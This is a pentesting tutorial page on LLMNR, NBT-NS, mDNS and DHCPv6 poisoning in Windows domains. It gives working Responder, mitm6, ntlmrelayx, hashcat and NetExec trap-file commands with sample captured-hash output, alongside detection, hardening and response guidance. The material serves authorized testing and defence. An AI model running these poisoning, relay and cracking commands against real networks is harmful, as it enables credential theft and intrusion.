Skip to content
Pwnversity
AD-LLMNRintermediate · 13 min · upd. 2026-11

LLMNR, NBT-NS, mDNS and DHCPv6 Poisoning

T1557.001T1557T1110.002

When a Windows host fails to resolve a name over DNS (a mistyped share, a server that no longer exists, automatic proxy discovery), it doesn’t give up: it asks its entire network segment using legacy broadcast/multicast protocols —LLMNR, NBT-NS and mDNS— and takes the first answer. Nobody verifies who replies. An attacker on the same network answers “that’s me,” the victim connects to them, and if the service asks for authentication the victim hands over an NTLM authentication attempt (Net-NTLMv2). That attempt can be cracked offline or relayed live to another server. You don’t steal the credential: you redirect it. The broken invariant is that LAN name resolution has no authentication.

sequenceDiagram
    participant V as Victim
    participant D as DNS
    participant A as Attacker
    V->>D: fileservr.corp.local?
    D-->>V: doesn't exist
    V->>A: (LLMNR multicast) who is FILESERVR?
    A-->>V: that's me: 10.10.10.50
    V->>A: SMB + NTLM authentication
    A->>A: keeps the Net-NTLMv2: crack (hashcat -m 5600)<br/>or relay live (ntlmrelayx)
  • Who attacks: anyone with a host on the same layer-2 segment as the victims (a laptop at a free desk, a compromised host, a VPN that reaches the LAN). No credentials needed.
  • What it breaks: trust in the first answer. LLMNR, NBT-NS and mDNS were designed for small networks without a DNS server and have no way to check who responds.
  • What it gains: authentication attempts from domain users and computers. With a weak password, cleartext credentials after cracking; where signing isn’t required on the destination, execution or LDAP changes via relay (NTLM relay).
  • Why it works so often: failed queries are constant (old UNC paths in scripts and shortcuts, drives mapped to decommissioned servers, WPAD), so the attacker just has to listen.

A Windows client resolves a name roughly like this: local cache and hosts file, DNS, and only if DNS fails, the multicast mechanisms. The three that matter here:

Protocol Transport Scope Default state
LLMNR UDP 5355, multicast 224.0.0.252 / ff02::1:3 Link-local On; disabled by GPO
NBT-NS UDP 137, broadcast Subnet On where NetBIOS over TCP/IP is enabled
mDNS UDP 5353, multicast 224.0.0.251 / ff02::fb Link-local On in Windows 10/11

Since 2022, Microsoft treats mDNS as the only multicast protocol that should remain and has begun ramping down NetBIOS (“learning” mode and the Configure NetBIOS settings policy in recent versions). LLMNR is still on by default and depends on policy.

What gets captured: Net-NTLMv2 is not the NT hash

Section titled “What gets captured: Net-NTLMv2 is not the NT hash”

The attacker doesn’t receive the victim’s NT hash, but the response to a challenge they generated themselves (Net-NTLMv2). Consequences:

  • No use for pass-the-hash. It can only be cracked or relayed.
  • Cracked offline: hashcat mode 5600 (Net-NTLMv2) or 5500 (Net-NTLMv1). Speed is high; a dictionary password falls in minutes.
  • Relayed in real time: the relay must happen while the victim waits for the answer.

Web Proxy Auto-Discovery (WPAD) makes browsers and services look for a host called wpad. If it doesn’t exist in DNS, the query falls to LLMNR/NBT-NS and the attacker can serve a wpad.dat naming themselves as the proxy and demand HTTP authentication. The Windows DNS server blocks wpad and isatap by default via its global query block list, but many environments have changed it or use another DNS.

Windows prefers IPv6 and requests configuration over DHCPv6 even on networks that don’t use it. An attacker who answers as a DHCPv6 server advertises themselves as the victim’s IPv6 DNS server and, from there, answers the queries they care about (WPAD, internal names). It doesn’t depend on DNS failing: it’s DNS poisoning through a configuration nobody watches.

Variant Condition What you get
LLMNR / NBT-NS / mDNS Same segment, failed queries Net-NTLMv2 from users and computers
WPAD over multicast wpad doesn’t resolve in DNS HTTP authentication from browsers
DHCPv6 (mitm6) IPv6 on, unprotected Victim’s DNS; authentications for relay
Trap files (.lnk, .url, .library-ms, .searchConnector-ms) Write access to a share Authentication from whoever opens the folder
RPC coercion (PetitPotam, PrinterBug) Domain credentials Authentication from a specific server (NTLM relay)

Start in analyze mode: Responder listens to the queries without answering. It tells you which names are being looked up, from which hosts, and whether there’s WPAD traffic, without breaking users:

Ventana de terminal
sudo responder -I eth0 -A
[Analyze mode: LLMNR] Request by 10.10.10.31 for fileservr, ignoring
[Analyze mode: NBT-NS] Request by 10.10.10.44 for WPAD, ignoring
[Analyze mode: MDNS] Request by 10.10.10.31 for fileservr.local, ignoring

That output is already a finding (LLMNR and NBT-NS on) even if you capture nothing.

Ventana de terminal
sudo responder -I eth0 -v # answers LLMNR, NBT-NS and mDNS and raises trap servers
sudo responder -I eth0 -w -v # also a WPAD server
[LLMNR] Poisoned answer sent to 10.10.10.31 for name fileservr
[SMB] NTLMv2-SSP Client : 10.10.10.31
[SMB] NTLMv2-SSP Username : CORP\jdoe
[SMB] NTLMv2-SSP Hash : jdoe::CORP:1122334455667788:9A1B…:0101000000…

Results are saved in logs/ (one file per protocol and IP, e.g. SMB-NTLMv2-SSP-10.10.10.31.txt) and in the Responder.db database. Responder only keeps the first hash per user per protocol; for all of them, check the session file.

Ventana de terminal
hashcat -m 5600 jdoe.ntlmv2 rockyou.txt -r rules/best64.rule
hashcat -m 5600 jdoe.ntlmv2 --show

A computer hash (SRV-APP$) can’t be cracked: its password is random and long. It’s only good for relay.

If the captured account is a local admin elsewhere, or the destination accepts LDAP without signing, relaying is more direct than cracking. Turn off Responder’s SMB and HTTP servers (in Responder.conf) so the port is free and point ntlmrelayx at targets without SMB signing:

Ventana de terminal
nxc smb 10.10.10.0/24 --gen-relay-list no-signing.txt
sudo ntlmrelayx.py -tf no-signing.txt -smb2support
sudo responder -I eth0 -v # with SMB = Off and HTTP = Off

Targets, protocols and protections are detailed in NTLM relay.

mitm6 answers DHCPv6 requests and presents itself as the IPv6 DNS server. Combine it with ntlmrelayx also listening on IPv6 and serving WPAD:

Ventana de terminal
sudo mitm6 -i eth0 -d corp.local
sudo ntlmrelayx.py -6 -t ldaps://dc01.corp.local -wh fake-wpad.corp.local --delegate-access

-d limits replies to that domain and reduces impact on other names. The DHCPv6 leases mitm6 hands out are short, but hosts keep the poisoned DNS for as long as the test runs: run it in brief windows.

If you can write to a frequently visited folder, a file whose icon points to a UNC path makes the Windows Explorer authenticate to you when the folder is opened, with no click from the user. NetExec automates it and cleans up:

Ventana de terminal
nxc smb srv01.corp.local -u jdoe -p 'Passw0rd!' -M slinky -o SERVER=10.10.10.50 NAME=report
nxc smb srv01.corp.local -u jdoe -p 'Passw0rd!' -M slinky -o NAME=report CLEANUP=True
  1. Analyze mode for 15–30 minutes: which protocols, which names, from where.
  2. List of hosts without SMB signing and LDAP state (decide whether to crack or relay).
  3. Scoped poisoning, in an agreed window.
  4. Crack what you captured; relay the privileged accounts.
  5. Cleanup: trap files removed, mitm6 stopped, clients with correct DNS.
  • Responder: LLMNR/NBT-NS/mDNS poisoning, trap servers, WPAD, DHCP and DHCPv6.
  • Inveigh: Windows equivalent (C#/PowerShell) when operating from a domain host.
  • mitm6: DHCPv6 poisoning.
  • ntlmrelayx (Impacket): relay of what’s captured.
  • hashcat: cracking Net-NTLMv2 (5600) and Net-NTLMv1 (5500).

From zero credentials to a domain account (cracking) or execution on a server (relay). With a domain account, enumeration begins; with mitm6 + LDAP relay you reach resource-based delegation over computers (Kerberos delegation).

  • Multicast answers from hosts that don’t own the name. One host answering dozens of different names is Responder’s signature.
  • Decoy names: a service periodically asking for a name that doesn’t exist; if someone answers, there’s a poisoner on the segment.
  • DHCPv6 and router advertisements on networks that don’t use IPv6; IPv6 DNS servers appearing in client config.
  • NTLM authentications toward workstation IPs (event 4624 with NTLM package at the source and outbound SMB from clients to other clients).
  • Network IDS with rules for anomalous LLMNR/NBT-NS answers and DHCPv6 traffic.
  • Sysmon (event 22, DNS queries) on clients to see which names fail.
  • NTLM auditing on DCs (Network security: Restrict NTLM: Audit…) to know who uses NTLM.
  • Disable LLMNR: GPO Computer › Administrative Templates › Network › DNS Client › Turn off multicast name resolution = Enabled.
  • Disable NetBIOS over TCP/IP per adapter, via Microsoft’s DHCP option, or with the Configure NetBIOS settings policy in recent versions.
  • mDNS: EnableMDNS = 0 (DWORD) in HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters where it isn’t used.
  • WPAD: keep wpad in the DNS global query block list and disable automatic proxy detection if not needed.
  • IPv6: don’t disable it blindly (Microsoft doesn’t support that); protect the network with RA Guard and DHCPv6 Guard on the switches, or block inbound DHCPv6 with the Windows firewall.
  • Cut off relay: require SMB signing, LDAP signing and channel binding, EPA on web services.
  • Long passwords so what’s captured can’t be cracked.

Locate the responding host (IP and MAC at the switch), isolate it, rotate the passwords of accounts that authenticated to it during the window, and apply the policies above if they were missing.

  • LLMNR/NBT-NS poisoning is not a CVE: it’s a protocol weakness (MITRE T1557.001), present by default in nearly every Windows network.
  • mitm6 (DHCPv6/WPAD) and coercion (PetitPotam, PrinterBug) extend the vector toward relay to AD CS or LDAP: see NTLM relay.
  • Since Windows 11 24H2 and Windows Server 2025, NTLMv1 is removed and NTLMv2 deprecated, but LLMNR is still on by default: the capture vector remains valid.
  • Analyze mode: are LLMNR, NBT-NS or mDNS on? Which names are requested?
  • Net-NTLMv2 captured and crackable offline?
  • Any Net-NTLMv1 without ESS (serious weakness)?
  • wpad with no DNS entry (WPAD exploitable)?
  • IPv6 on without RA Guard / DHCPv6 Guard (mitm6)?
  • Hosts without SMB signing (relay viable)?
  • Trap files possible in writable shares?
  • Blue: LLMNR/NBT-NS disable GPO applied? Resolution decoys deployed?